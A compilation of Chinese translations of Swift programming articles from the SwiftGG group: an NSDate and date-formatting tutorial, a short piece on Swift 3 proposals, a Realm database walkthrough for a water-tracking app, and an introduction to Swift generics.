上面的 date formatter style 足以应对多数情况，但是我们无法通过修改这些格式来获得不同于预设格式的结果。这种情况下我们还有另一个选择，一个能设置自定义 date format 的能力，这个自定义的 date format 能够正确描述你理想中的 date formatter 对象的的格式样式。一般来说设置一个自定义的 date format 对以下两种情况很适用：当 date formatter style 实现不了你所期望的输出结果的样式时（显然），还有当你需要把一个复杂的日期字符串（比如“Thu, 08 Oct 2015 09:22:33 GMT”）转换成一个日期对象时。

为了正确的设置一个 date format，一定要用一组分类符（specifier） 。Specifier 不过是一些简单的字符，这些字符对 date formatter 对象来说有着特定的意义。在我给你具体的例子之前，先列出来一些在接下来的代码中会使用到的format specifier：


	EEEE：表示星期几（如 Monday）。使用 1-3 个字母表示周几的缩略写法。


	MMMM：月份的全写（如 October）。使用 1-3 个字母表示月份的缩略写法。


	dd：表示一个月里面日期的数字（如 09 或 15）。


	yyyy：4 个数字表示的年（如 2015）。


	HH：2 个数字表示的小时（如 08 或 19）。


	mm：2 个数字表示的分钟（如 05 或者 54）。


	ss：2 个数字表示的秒。


	zzz：3 个字母表示的时区（如 GMT）。


	GGG：BC 或者 AD。




如果想查看 date format specifiers 的参考内容，建议访问官方技术规范，你可以找到上面给出的 specifier 的使用方法，以及那些没有列出的 specifier。

继续我们的例子，看一下 format specifier 具体怎么用。这回我们把当前日期转换成一个字符串，显示成具有星期名称、月的全写，日期数字和年份的格式：




dateFormatter.dateFormat = "EEEE, MMMM dd, yyyy"
convertedDate = dateFormatter.stringFromDate(currentDate)


我想怎么用自定义的 date format 已经不需要额外的讲解了，用法十分简单。再来一个例子，转换一下时间：




dateFormatter.dateFormat = "HH:mm:ss"
convertedDate = dateFormatter.stringFromDate(currentDate)


到现在为止我们看到的所有转换都是从 NSDate 对象变成一个有特定格式的字符串。相反的操作也很有意思，之前关于 date formatter styles 和 format specifiers 的也同样适用。把有既定格式的字符串转换成一个 NSDate 对象的关键是要对 date formatter 的 dateFormat 属性做出正确设置，然后调用 dateFromString: 方法。我们再看几个例子：




var dateAsString = "24-12-2015 23:59"
dateFormatter.dateFormat = "dd-MM-yyyy HH:mm"
var newDate = dateFormatter.dateFromString(dateAsString)


再看一个更复杂的字符串，还包含了时区：




dateAsString = "Thu, 08 Oct 2015 09:22:33 GMT"
dateFormatter.dateFormat = "EEE, dd MMM yyyy HH:mm:ss zzz"
newDate = dateFormatter.dateFromString(dateAsString)


注意一下时间（09:22）是如何通过简单的、在日期字符串中引入了一个时区而发生改变的（变成了 12:22）。这里没有任何实际上的变化，仅仅是我所在的时区（EFT）的时间在 GMT 时区中的表示，基于上面的代码，根据你自己的情况自由发挥吧。

到这里你已经基本上看到了为实现日期和字符串之间的转换你所需要的所有知识点。你可以敲敲自己的代码，试试你在上面所看到的那些，深入感受一下这些东西是如何工作的。

使用 NSDateComponents

很多时候你需要在项目里拆分一个日期对象，然后从中获得特定组成元素的值。例如你可能会从一个日期对象中获取它的日和月的值，或者从时间中获得小时和分钟的值。此种情况下你需要用到的工具就是 NSDateComponents 这个类。

NSDateComponents 类通常和 NSCalendar 类相结合来使用。具体点说，NSCalendar 方法实现了真正的从 NSDate 到 NSDateComponents 对象的转换；以及我们待会儿会看到的，从日期的组成元素到日期对象的转换。记好了这一点，这一节中我们首先要做的就是获取当前的 calendar，把它赋给一个常量以便访问：


let calendar = NSCalendar.currentCalendar()


现在我们看一个典型例子，一个 NSDate 对象是怎样被转换成一个 NSDateComponents 对象，之后我会做些讲解：




let dateComponents = calendar.components([NSCalendarUnit.Day, NSCalendarUnit.Month, NSCalendarUnit.Year, NSCalendarUnit.WeekOfYear, NSCalendarUnit.Hour, NSCalendarUnit.Minute, NSCalendarUnit.Second, NSCalendarUnit.Nanosecond], fromDate: currentDate)

print("day = \(dateComponents.day)", "month = \(dateComponents.month)", "year = \(dateComponents.year)", "week of year = \(dateComponents.weekOfYear)", "hour = \(dateComponents.hour)", "minute = \(dateComponents.minute)", "second = \(dateComponents.second)", "nanosecond = \(dateComponents.nanosecond)" , separator: ", ", terminator: "")


上面第一行代码用的方法是 NSCalendar 类的 components(_:fromDate:) 。该方法接受两个参数：第二个参数是原日期对象，我们要从中获得它的组成元素。但有意思是第一个参数，该方法要求第一个参数是一个元素为 NSCalendarUnit 属性的数组，这些属性对要从日期对象中抽取出的元素做出了描述。

NSCalendarUnit 是一个结构体，你可以从这里看到所有可用的属性。上面的例子中，在你看到的代码段截图中给定的这些 calendar unit 值返回如下构成部分：


	Day


	Month


	Year


	Week of year


	Hour


	Minute


	Second


	Nanosecond




注意到在第一个参数数组中那些没有列出的 calendar unit（日历单元）在调用方法之后是不可用的。例如由于我们没有将 NSCalendarUnit.TimeZone 这个单元包括进去，所以在剩下获取到的元素中是访问不到时区（timezone）的（比如用 print(dateComponents.timezone)）。这么做的话会得到一个运行时错误。如果你需要额外的部分，你就必须再调用一次该方法，指定你想要的额外的calendar units。

从 date components 转换到日期对象也很容易。这回不会涉及到对 calendar unit 的使用。所需要的就是初始化一个新的NSDateComponents对象，然后明确指定出所有需要的components元素（当然是根据你app的需要），然后调用 NSCalendar 类的 dateFromComponents 方法实现转换。来看一下：




let components = NSDateComponents()
components.day = 5
components.month = 01
components.year = 2016
components.hour = 19
components.minute = 30
newDate = calendar.dateFromComponents(components)


前面的部分我们看过一个在把某特定格式的字符串转换成一个日期对象时使用了 timezone 的例子。如果你足够好奇想看看对一个日期对象设置不同 timezone 的结果，我们就将上面的代码稍稍扩展一下，看看 timezone 的多种取值：




components.timeZone = NSTimeZone(abbreviation: "GMT")
newDate = calendar.dateFromComponents(components)
 
components.timeZone = NSTimeZone(abbreviation: "CST")
newDate = calendar.dateFromComponents(components)
 
components.timeZone = NSTimeZone(abbreviation: "CET")
newDate = calendar.dateFromComponents(components)


GMT = 格林威治标准时间
CST = 中国标准时间
CET = 欧洲中部时间

你可以在这里找到所有 timezone 的缩写，还有一些很棒的在线工具。

现在你也知道如何去处理 NSDateComponents 对象了，那么咱们继续来研究另一个有意思的东西。

比较日期和时间

处理日期的另外一个常见情况是需要对两个日期对象进行比较，判断哪一个代表着更早或者更晚，甚至比较这两个是否为同一日期。概括来说我在下面会告诉你三种不同的比较日期对象的方式，但我不希望让你有种哪个是最好或者最坏的观点。很明显这取决于你在你的应用中想要干什么，而每种方式和其他两种都有些不同，哪种方法对你帮助最有效就选哪种。

在比较日期对象的方法给出之前，我们先创建两个日期对象，在本节的例子中使用。首先设定日期格式（date formatter 的 dateFormat 属性），然后把两个日期格式的字符串转换成两个日期对象：


dateFormatter.dateFormat = "MMM dd, yyyy zzz"
dateAsString = "Oct 08, 2015 GMT"
var date1 = dateFormatter.dateFromString(dateAsString)!
 
dateAsString = "Oct 10, 2015 GMT"
var date2 = dateFormatter.dateFromString(dateAsString)!


先看看用来比较日期的第一个方式。如果你想要比较两个日期中比较早的那一个，那么 NSDate 类会给你提供较大帮助，它分别提供了两个方法，earlierDate: 和 laterDate:。这两个方法的语法很简单：

date1.earlierDate(date2)

原理如下：


	如果 date1 对象比 date2 更早，那么上面的方法会返回 date1 的值。


	如果 date2 对象比 date1 更早，那么上面的方法会返回 date2 的值。


	如果两者相等，则返回 date1。




同样道理也使用于 laterDate: 方法。

现在来看我们的例子，使用我们之前创建的那两个日期对象。下面的两条指令分别使用了刚才提到的那两个方法，为我们显示出更早的和更晚的日期：




// Comparing dates - Method #1
print("Earlier date is: \(date1.earlierDate(date2))")
print("Later date is: \(date1.laterDate(date2))")


第二种比较两个 NSDate 对象的方式使用的是 NSDate 类的 compare: 方法，以及 NSComparisonResult 枚举类型。看下面的例子就会明白我的意思，但是我先提一下这种方式的语法和我上面例子中的很像。比较日期所得的结果是和所有的可能值作比较，用这种方式可以很容易的判断出两个日期是否相等、哪一个更早或者更晚。不说了，下面的代码已经足够明了：



Playground 中的结果如下：



可复制的代码：


// Comparing dates - Method #2
if date1.compare(date2) == NSComparisonResult.OrderedDescending {
    print("Date1 is Later than Date2")
}
else if date1.compare(date2) == NSComparisonResult.OrderedAscending {
    print("Date1 is Earlier than Date2")
}
else if date1.compare(date2) == NSComparisonResult.OrderedSame {
    print("Same dates")
}


比较两个日期对象的第三种方式多少有些不同，因为这种方式引入了对 time intervals 的使用。实际上这种方式很简单，它做的就是获得自每个日期以来的时间间隔（每个日期和现在的时间间隔），然后做比较：




// Comparing dates - Method #3
if date1.timeIntervalSinceReferenceDate > date2.timeIntervalSinceReferenceDate {
    print("Date1 is Later than Date2")
}
else if date1.timeIntervalSinceReferenceDate <  date2.timeIntervalSinceReferenceDate {
    print("Date1 is Earlier than Date2")
}
else {
    print("Same dates")
}


上面的代码也可以应用到对时间的比较。下面我给你最后一个例子，而这次 date1 和 date2 对象包含了对时间的表示。我再次使用 earlierDate: 方法，但另外还有一个，idEqualToDate:，很明显，看名字就知道它是干什么的：




// Comparing time.
dateFormatter.dateFormat = "HH:mm:ss zzz"
dateAsString = "14:28:16 GMT"
date1 = dateFormatter.dateFromString(dateAsString)!
 
dateAsString = "19:53:12 GMT"
date2 = dateFormatter.dateFromString(dateAsString)!
 
if date1.earlierDate(date2) == date1 {
    if date1.isEqualToDate(date2) {
        print("Same time")
    }
    else {
        print("\(date1) is earlier than \(date2)")
    }
}
else {
    print("\(date2) is earlier than \(date1)")
}


如果看到上面代码中「2000-01-01」这个日期之后你感觉好奇或疑惑的话，不用担心。NSDate 如果在没有给定任何特定日期来做转换的情况下会默认将其添加，它不会影响到这个日期中其他的元素（例子中其他的元素是时间）。

好了，到这里你也会怎么对日期做比较了。

计算出未来或过去的日期

处理日期另一个有趣的方面就是计算出一个将来或者过去的日期。我们之前看到的那些用法在这里会变得很方便，比如 NSCalendarUnit 结构体，或者 NSDateComponents 类。实际上，我会给你展示两种不同的计算出其他日期的方式，第一种使用的就是 NSCalendar 类和 NSCalendarUnit 结构体，第二种使用的是 NSDateComponents 类。最后我会给出第三种方式，但是一般情况我不推荐使用（到那部分我会解释为什么）。

一开始我们先记一下当前日期（是我写这篇教程的日期），它会被用作我们的参考日期：



现在假设我们想把当前日期加上两个月零五天，实际上还是写下来比较好：


let monthsToAdd = 2
let daysToAdd = 5


我们现在就可以看一下第一种方式了，来得到想要的新日期吧。先给代码，马上解释：


var calculatedDate = NSCalendar.currentCalendar().dateByAddingUnit(NSCalendarUnit.Month, value: monthsToAdd, toDate: currentDate, options: NSCalendarOptions.init(rawValue: 0))
calculatedDate = NSCalendar.currentCalendar().dateByAddingUnit(NSCalendarUnit.Day, value: daysToAdd, toDate: calculatedDate!, options: NSCalendarOptions.init(rawValue: 0))


如你所见，这里用到的方法是 NSCalendar 类的 dateByAddingUnit:value:toDate:options: 方法。这个方法的任务就是给一个现有的日期加上一个特定的 calendar unit（由第一个参数指定），并将这个加法的结果做为一个新的日期返回。我们开始想的是在当前日期的基础上同时加两个不同的 calendar unit，但很显然这不现实。所以这里问题的关键是就要连续的调用该方法，每次设置其中的一个 calendar unit，从而得到最终结果。

下面是每次叠加之后 playground 显示的结果：



上面的方式不错，但是仅限于你要加的只有 1~2 个 calendar units，否则你得连续多次调用上面那个方法才行。

当需要叠加更多的 units 时，第二个，也是更倾向的方式是使用 NSDateComponents 这个类。为了演示，我们不会再引入其他的组成元素，除上面已经定好的月和日之外。在这儿要做的事情很简单：首先初始化一个新的 NSDateComponents 对象，并给它设置之前定好的月和日。然后调用 NSCalendar 类的另一个叫做 dateByAddingComponents:toDate:options: 的方法，我们会立即得到一个新的 NSDate 对象，这个新对象即代表了最终想要的日期。




let newDateComponents = NSDateComponents()
newDateComponents.month = monthsToAdd
newDateComponents.day = daysToAdd

calculatedDate = NSCalendar.currentCalendar().dateByAddingComponents(newDateComponents, toDate: currentDate, options: NSCalendarOptions.init(rawValue: 0))


注意到上面的两个代码段中，我都没给这两个新介绍方法的最后一个参数做任何设置。而如果你想对这个可设选项了解更多的话，就去参考 NSCalendar 类的官方文档。

第三种计算另一个日期方式不推荐对时间跨度大的情况使用，因为由于闰秒，闰年，夏令时等等会导致这种方式产生出错误结果。该方式的想法是给当前日期加上一个特定的时间间隔。我们会使用 NSDate 类的 dateByAddingTimeInterval: 方法来实现这个目的。下面的例子中我们算出来一个相当于是 1.5 小时的时间间隔，然后把它加到当前日期上：


let hoursToAddInSeconds: NSTimeInterval = 90 * 60
calculatedDate = currentDate.dateByAddingTimeInterval(hoursToAddInSeconds)


再强调一下，要做任何类型的日期计算的话，还是使用前两种方式更安全。但这还是取决于你，选择你更喜欢的那一种。

上面的三个例子都是给当前日期加上某些个组成元素。那现在用同样方式给当前日期减去几天，算出来那个过去的日期该怎么做？

下面的代码示范了该怎么做。首先给当前日期加上一个特定天数的负值，这就可以得到一个属于过去的日期了。然后把结果转换成一个有适当格式的字符串，最后的结果...很有意思：




let numberOfDays = -5684718
calculatedDate = NSCalendar.currentCalendar().dateByAddingUnit(NSCalendarUnit.Day, value: numberOfDays, toDate: currentDate, options: NSCalendarOptions.init(rawValue: 0))
 
dateFormatter.dateFormat = "EEEE, MMM dd, yyyy GGG"
dateAsString = dateFormatter.stringFromDate(calculatedDate!)


以上所有的小代码段示例可以完全给你讲明白怎样通过给某个参考日期加上或正或负的 calendar unit 来算出一个新的日期。自己随便扩展一下上面的代码吧，写下你自己的代码，你就会对这些技巧更加熟悉。

计算出日期的差值

和标题的意思一样，这节讲的是计算出两个日期之间的差值，它是在你编程生涯中某个时间肯定要做的一个任务，显然需要做不止一次。在这（教程的最后）一部分，我会告诉你计算出两个 NSDate 对象之间差值的三种方式，你可以根据需要选出最适合你的那一种。

开始之前先定义两个 NSDate 对象：


dateFormatter.dateFormat = "yyyy-MM-dd HH:mm:ss"
dateAsString = "2015-10-08 14:25:37"
date1 = dateFormatter.dateFromString(dateAsString)!
 
dateAsString = "2018-03-05 08:14:19"
date2 = dateFormatter.dateFromString(dateAsString)!


有了上面的日期对象，我们再来看一下如何获取日期组成元素（date components）形式的日期差值（date difference ）。我们会再次用到 NSCalendar 类，还有它的一个之前我们没见过的方法。最后把日期组成元素打印出来看一下结果。很明显当有了它，这个代表了日期差值的元素之后，想怎么做都取决于你了。来看下示范：




var diffDateComponents = NSCalendar.currentCalendar().components([NSCalendarUnit.Year, NSCalendarUnit.Month, NSCalendarUnit.Day, NSCalendarUnit.Hour, NSCalendarUnit.Minute, NSCalendarUnit.Second], fromDate: date1, toDate: date2, options: NSCalendarOptions.init(rawValue: 0))
 
print("The difference between dates is: \(diffDateComponents.year) years, \(diffDateComponents.month) months, \(diffDateComponents.day) days, \(diffDateComponents.hour) hours, \(diffDateComponents.minute) minutes, \(diffDateComponents.second) seconds")


这种新方式就是使用 components:fromDate:toDate:options: 方法，同样它的第一个参数是一个 NSCalendarUnit 的数组。注意下如果第一个日期比第二个晚的话，返回值就会是负数。

在计算日期差值的另外两种方式中，我们会第一次用到 NSDateComponentsFormatter 类，这个类有很多方法，能自动做出差值计算，然后返回一个带有特定格式的字符串。先生成一个对象，并先指定它的一个属性：


let dateComponentsFormatter = NSDateComponentsFormatter()
dateComponentsFormatter.unitsStyle = NSDateComponentsFormatterUnitsStyle.Full


unitsStyle 属性告诉 dateComponentsFormatter 描述日期差值的那个字符串的格式应该是什么样的，显示出的日期组成元素应该是怎样的样式。比如用 Full 这个样式，星期几、月份等等就会显示成常规的全写（full-length）单词。而如果我们用了 Abbreviated 样式的话，则会显示这些信息的缩写。从这里你能看到关于单元样式（units style）的全说明列表。

回到日期差值中来，这次我们要先算出两个日期之间的时间间隔。然后这个间隔本身会作为一个参数传递给 NSDateComponentFormatter 类的 stringFromTimeInterval: 方法，结果就会以一个格式化好了的字符串形式返回。




let interval = date2.timeIntervalSinceDate(date1)
dateComponentsFormatter.stringFromTimeInterval(interval)


最后，在计算日期差值的最后一个方式中，两个日期需要作为参数传递给 NSDateComponentsFormatter 类的 stringFromDate:toDate: 方法。然而用这个方法之前需要先满足一个条件：allowedUnits 属性必须要设置一个 calendar unit，否则该方法会返回一个 nil。所以我们就「告诉」这个方法我们想要怎样的 unit，之后就等它给我们差值结果：




dateComponentsFormatter.allowedUnits = [NSCalendarUnit.Year, NSCalendarUnit.Month, NSCalendarUnit.Day, NSCalendarUnit.Hour, NSCalendarUnit.Minute, NSCalendarUnit.Second]
let autoFormattedDifference = dateComponentsFormatter.stringFromDate(date1, toDate: date2)


总结

简介部分中我说过，处理 NSDate 对象这件事在你项目中非常常见，而且肯定无法避免。不可否认它并不是程序员最喜欢讨论的话题，所以我就写了前面的那些，在小例子中告诉你其实处理日期是很容易的。这篇教程中 NSDate 的方方面面，以及其他相关的类都有一个共同目标：教你小巧高效的用法，两三行代码就让你把活儿搞定。希望这篇文章能给你做个指南，尤其如果你是一个新开发者。下篇文章出来之前，好好练习吧。

本文由 SwiftGG 翻译组翻译，已经获得作者翻译授权，最新文章请访问 http://swift.gg。
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作者：SwiftGG翻译组
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如果你还没看过 Swift 发展路线图，我建议你要好好看一看。目前为止，有四个针对 Swift 3 和一个针对 Swift 2.2 的提议已经被接受，也许其中的某些能让你会心一笑。

显然，这些提议中最令人振奋的是 API 翻译的改进，旨在废除冗长的 Objective-C 式的风格，形成调用简洁且易读的 Swift 风格。

看上去显而易见我们将要和函数柯里化声明说再见了，虽然这是没有语法糖语言共有的特性。这是我能忍受的东西，但是这点改变并不会让我开心起来 — 除此之外似乎有迫切的原因去降低语言的复杂度。

++ 和 --（这是两个减号，不是破折号）运算符也在移除的部分中。它们最初是为了和 C 语言一致而引入的，但它们的结果值通常不会被检查。对大部分开发者来说，很容易可以用 += 和 -= 替代它们。

最后，var 形式的函数参数将会被移除，因为它们现在的实现是从复制和修改步骤中抽象出来，而这造成了困惑。我觉得这不是一个大损失，只是需要你声明一个函数内 var 变量赋值来替代它。

十分有趣是，除了 ++ 和 -- 的改变，几乎所有的变更点我都在新书中提到了。

已经被接受的 Swift 2.2 提案允许你用关键字作为参数标签，这使得现在可以这样声明：


func touchesMatching(phase: NSTouchPhase, in view: NSView?) -> Set<NSTouch>


Swift 3.0 承诺会保持 ABI（Application Binary Interface）的稳定性：「成功保持 ABI 稳定性意味着，即便源代码语言发生了变化，用以后版本的 Swift 开发的应用程序和编译库能在二进制层次上和 Swift 3.0 版本的应用程序和编译库相互调用。」

开发团队利用这个机会做个类型系统清理，包括所有语言的小改良，同时「完整完成」基类系统。代码迁移者将把项目从 2.x 版迁到 3.x 版。基础代码或多或少能保证与这次大更新没关系。

最终的 API 设计指导原则发布在这个网址。

本文由 SwiftGG 翻译组翻译，已经获得作者翻译授权，最新文章请访问 http://swift.gg。
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译者：Cee；校对：千叶知风；定稿：千叶知风



我已在网上多次看到「Realm」这个词。我甚至曾在十月时有机会参加由 Swift 用户组组织的 Realm 聚会。最终，我有机会用上了 Realm 这个框架。



案例

现在我正在节食。我需要减一些体重因为在加利福尼亚的时候胖了好多 – 好吃的食物实在是太多了:)！我浏览了一下 iTunes Store 中的那些能够追踪喝水记录的应用，但是在我看来这些应用要么看上去很糟糕，要么交互实在是很烂。我想：如果我决定做一个应用，岂不是一箭双雕吗 – 我又能写一个我想要的应用，又能选择使用 Realm 而不是 Core Data。所以我开工了。

你知道当我看完文档、开始使用 Realm 框架的第一感觉是什么吗？哇，这简直真是太棒了！这些开发的家伙做的简直超棒！

免责声明：接下来所写的仅仅只覆盖了 Realm 框架中最基本的一部分。我建议你们接下来可以去阅读官方文档来获取更多的信息。在这儿我并不想向你们展示关于 Realm 框架的全部内容，因为这篇文章不可能像文档一样又臭又长，并且我自己也会避免这样的问题发生。官方的文档非常的棒，你在开工前可以先读一下它。

我的这个案例并不是很复杂而是非常简单的。整个 app 只有两个抽象模型（Model）类： Day 和 DrinkLogEntry 。此外，这个 app 也需要这些功能：添加、更新、筛选和排序存储的数据。正如我所说这是个简单的 app 。接下来我会呈现 app 中的一些代码片段。

抽象模型（Model）

Realm 中没有像 xcdatamodel-like 这样的文件。抽象模型仅仅是继承自 Object 类的文件。


/**
 表示了用户一天的生活。 Day 这个类的信息包含用户所喝的水和他们的每天喝水的目标。
*/
class Day: Object {
    
    dynamic var identifier: String!
    
    /// 表示一天的开始的时间戳（UTC+0 时区）
    dynamic var timestamp: NSTimeInterval = 0
    
    /// 用户所喝的水的量（毫升）
    dynamic var waterDrank: Float = 0
    
    /// 用户每天喝水的目标（毫升）
    dynamic var dailyGoal: Float = 0 // ml
    
    var drinkLogs = List<DrinkLogEntry>()
    
    convenience init(timestamp: NSTimeInterval) {
        self.init()
        self.timestamp = timestamp
        self.identifier = Day.convertTimestampIntoIdentifier(timestamp)
    }
    
    override class func primaryKey() -> String? {
        return "identifier"
    }
    
    override class func indexedProperties() -> [String] {
        return ["identifier"]
    }
    
    class func convertTimestampIntoIdentifier(timestamp: NSTimeInterval) -> String {
        return String(format: "%.0f", arguments: [timestamp])
    }
}


所有前有 dynamic 关键字的属性都会被转化成数据抽象层的一部分。Realm 也支持关系型数据。在这个例子中 Day 这个类中存在 drinkLogs 的一对多关系。一对一的关系就仅是类中的特定属性了。

Realm 也支持从 Core Data 中迁移数据。当你需要迁移的时候，可以定义一个闭包并且执行它，然后你就能顺利地执行迁移属性的所有步骤了（译者注：如何从 Core Data 迁移到 Realm）。

索引属性（Indexed properties）和主键（Primary keys）

Realm 框架有很多 Core Data 中没有的新特性（也有可能是我没找到，或者说我就是想提一下这点😊）。第一点就是「索引属性」了。你可以定义需要被索引的属性集合。当属性个数比较小的时候，搜索会变得很快。这有助于性能的提升。

接下来不得不提一下「主键」。你可以定义抽象模型中的一个属性作为它的主键。这能保证更加有效地更新数据以及保证数据的唯一性。

在我使用的这个例子中，主键和索引属性将作为「标识符」，被用于搜索和更新数据。

数据中也可以有被忽略的属性，那些属性将不被持久化保存。

创建、更新并写入数据

你可以使用未被持久化过的抽象模型，而且这些数据可以被持久化时，你可以将它们写入 Realm 中。比起 Core Data，这就是我为什么喜欢 Realm 更多一点 – 因为它能够很好地解决一些临时数据的问题。


let day = Day(timestamp: timestamp)
day.dailyGoal = MenuSettings().dailyGoal


为了能够写入 Realm 或者从 Realm 中读取，你需要创建 Realm 实例：


let realm = try! Realm()


这是如何将数据添加到数据库的方法：


try! realm.write {
    realm.add(day)
}


我特别喜欢 Realm 中更新数据的方式。我们假设一下有一部分数据是从网络上下载的，并且他们被映射过而且已经加进了数据库。在数据库中已经存在的数据仅需要更新而不是再次添加。


func fetchAll(completion: [Day] -> Void) {
    /**
     假设请求返回了 JSON 并且数据已经映射到了抽象数据层的 Day 类型。
          
     创建的数据还没有存入数据库 Realm 中。
     数据的标识符是相等的时间戳。
     */
    let day1 = Day(timestamp: 0)
    let day2 = Day(timestamp: 86400)
    let day3 = Day(timestamp: 172800)
    
    completion([day1, day2, day3])
}
 
func sync() {
    fetchAll { (days) -> Void in
        let realm = try! Realm()
        try! realm.write {
            /// 如果有相同的标识符，那么它将会被更新。
            realm.add(days, update: true)
        }
    }
}


这是一种比手动查询带有相同标识符然后更新值域更好的方法。

如果更新的参数被置为 false，那么新的数据将具有和在数据库中存在的数据相同的主键。异常会被抛出。

还有其他一些方法来更新数据，在这篇文章中我就不涉及了。

这是如何得到所有 Day 类型数据的方法：


let days = realm.objects(Day.self)


筛选数据也很简单：


realm.objects(Day.self).filter("identifier == %@", dayIdentifier)


按照时间戳升序排列这些数据：


let days = realm.objects(Day.self).sorted("timestamp", ascending: true)


当你每次执行 object()、sorted() 和 filter() 后均会得到一个 Results<T> 类型的数据。这能让你对结果进行额外的筛选排序等操作 - 这功能非常的强大而且非常好使。

小结

在下一个有更加复杂的数据模型的 app 中我还会使用 Realm 吗？答案是肯定的。因为整个框架使用起来非常的简单、集成起来非常的快速，而且 Realm 提供了非常多而且强大的功能特性。

P.S. 这个 app 正在等待过审 :)

2015/12/06更新
这个应用上架了 - Water Intake

本文由 SwiftGG 翻译组翻译，已经获得作者翻译授权，最新文章请访问 http://swift.gg。
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Generics in Swift



Swift 中的泛型编程

本文中，笔者旨在对于Swift中的泛型编程进行一个综合性描述。读者可以查看上一篇 系列中的描述来看之前笔者的论文。泛型编程是编程方式的一种，主要是一些譬如类、结构体以及枚举这样的复杂类型以及函数可以使用类型参数进行定义(type parameters)。类型参数可以看做是真实类型的占位符，当泛型或者函数被使用时才会被真实类型替换。

在Swift中，对于泛型编程最直观的表现当属Array这个类型。在Objective-C中，Array的示例NSArray可以包含任意类型的对象。但是，Swift中的Array类型需要在声明时即指定它们包含的元素类型，，譬如Array<Int>, Array<UIView>。Array与Int都是一种数据类型，泛型机制允许这两种类型有机组合起来从而能够传递更多的额外的信息。

备注：在Swift中惯用的声明Array包含了Foo类型的用法是[Foo]这种语法，而本文中使用Array<Foo>写法旨在帮助理解以及强调Array是一个通用泛型。

Why generics (为什么使用泛型)？

这里列举出几个静态类型语言中使用泛型编程的原因：


	类型安全：类似于Array这样的容器类型，可以给出它们存放的具体的元素的类型，从而告知编译器可以插入容器中的对象的类型以及从容器中返回的对象的类型。这种机制作用于所有可以被当做Array参数的类型，并且也作用于类型之间的关系。


	减少冗余代码：有些情况下需要对多个数据类型进行相同的操作，可以用一个泛型方程来代替多个不同类型参数或者返回值的重复的方程。这样可以避免潜在的代码错误等等。


	灵活的依赖库：第三方库可以暴露一些接口，从而避免使用这些接口的开发者被强制使用或者类型或者返回值为一个固定的类型。它们可以使用泛型进行更加抽象地编程，举例来说，泛型会允许一个接口来接受不仅仅是一个Array参数，而是一个Collection参数。




Generic entities (泛型实体)

Swift中的泛型编程主要表现在以下两个不同的情况下：当定义某个类型或者定义某个函数时。泛型类型的特性以及<与>这两个关键字往往意味着某个类型或者函数是泛型。

Generic types (泛型类型)

Swift中主要的三个用户可自定义的类型可以被当做泛型，下面就以Result枚举类型为例，该类型中存放了表征成功的Success以及表征失败的Failure：

enum Result<T, U> {
  case Success(T)
  case Failure(U)
}

在Result类型之后有两个类型参数： T以及U。这些类型参数将会在创建实例时被替换为真实的类型：

let aSuccess : Result<Int, String> = .Success(123)
let aFailure : Result<Int, String> = .Failure("temperature too high")

泛型类型的类型参数可以被用于以下的几个方面：


	作为属性的类型


	作为枚举体中的关联类型


	作为某个方法的返回值或者参数


	作为构造器的参数类型


	作为另一个泛型的类型参数，譬如Array




泛型可以在以下两种方式中被初始化：


	在创建新的实例时，类型参数被用户给出的真实的数据类型替换。


	类型被推导得出，通过调用初始化器或者静态方法来创建某个实例。




struct Queue<T> { /* ... */ }

// First way to instantiate
let a1 : Queue<Int> = Queue()
let a2 : Queue<Int> = Queue.staticFactoryMethod() // or just .staticFactoryMethod()

// Second way to instantiate
let b1 = Queue<Int>()
let b2 = Queue<Int>.staticFactoryMethod()

注意，像T这样的类型参数在类型定义时出现，无论这个类型何时被调用，这些类型参数都会被替换为真实的类型。举例而言，Array<String>或者Array<UIWindow>，便是以固定类型初始化的数组。而如果是像Array<T>这样的，它便一直处于由其他类型或者函数作为类型参数定义的上下文中。

Generic functions (泛型函数)

函数、方法、属性、下标以及初始化器都可以当做泛型进行处理，它们自身可以成为泛型或者存在于某个泛型类型的上下文中：

// Given an item, return an array with that item repeated n times
func duplicate<T>(item: T, numberOfTimes n: Int) -> [T] {
  var buffer : [T] = []
  for _ in 0 ..< n {
    buffer.append(item)
  }
  return buffer
}

同样的，类型参数是定义在<与>紧跟在函数名之后。它主要可以用于以下几个方面：


	作为某个函数的参数


	作为函数的返回值


	作为另一个泛型类型的类型参数，譬如T可以作为Array<T?>中的一部分




当然，如果所有的类型参数都是未用状态编译器会不太友好。而泛型方法可以同时定义在泛型类型与非泛型类型上：

extension Result {
  // Transform the value of the 'Result' using one of two mapping functions
  func transform<V>(left: T -> V, right: U -> V) -> V {
    switch self {
    case .Success(let value): return left(value)
    case .Failure(let value): return right(value)
    }
  }
}

上述中的transform方法就是泛型方法，存放于泛型类型Result中。除了由Result中定义的类型参数T、U，泛型方法本身也定义了一个泛型参数V。当调用一个泛型方程时，不一定需要指明清楚传入的类型参数。编译器的类型推导接口会自动根据参数与返回类型推导出相关信息：

// Example use of the 'duplicate:numberOfTimes:' function defined earlier.
// T is inferred to be Int.
let a = duplicate(52, numberOfTimes: 10)

实际上，尝试去清楚地设置参数类型还会引发错误：

// Does not compile
// Error: "Cannot explicitly specialize a generic function"
let b = duplicate<String>("foo", numberOfTimes: 5)

Associated types (关联类型)

Swift中的Protocol不可以使用类型参数定义泛型，不过Protocol可以使用typealias关键字来定义一些关联类型：

// A protocol for things that can accept food.
protocol FoodEatingType {
  typealias Food

  var isSatiated : Bool { get }
  func feed(food: Food)
}

在这个实例中，Food是定义在FoodEatingType协议中的关联类型，而某个协议中的关联类型数目可以根据实际的需求数量定义。

关联类型，类似于类型参数，都是一种占位符。而后面如果某个类需要实现这个协议，则需要确定Food的具体类型，是Hay还是Rabbit。具体的做法就是继承并且实现协议的属性与方法，并在实现时再判断应该用哪些真实的数据类型去替换这些关联类型：

class Koala : FoodEatingType {
  var foodLevel = 0
  var isSatiated : Bool { return foodLevel < 10 }

  // Koalas are notoriously picky eaters
  func feed(food: Eucalyptus) {
    // ...
    if !isSatiated {
      foodLevel += 1
    }
  }
}

对于Koala这个具体的实现者，关联类型Food被定义为了Eucalyptus，换言之，也就是Koala.Food被定义为了Eucalyptus。如果某个类型实现了多个协议，那么对于每个协议中的关联类型也都必须实现。而如果某个继承的类型也是个泛型，也可以使用类型参数去帮助确定关联类型：

// Gourmand Wolf is a picky eater and will only eat his or her favorite food.
// Individual wolves may prefer different foods, though.
class GourmandWolf<FoodType> : FoodEatingType {
  var isSatiated : Bool { return false }

  func feed(food: FoodType) {
    // ...
  }
}

let meela = GourmandWolf<Rabbit>()
let rabbit = Rabbit()
meela.feed(rabbit)

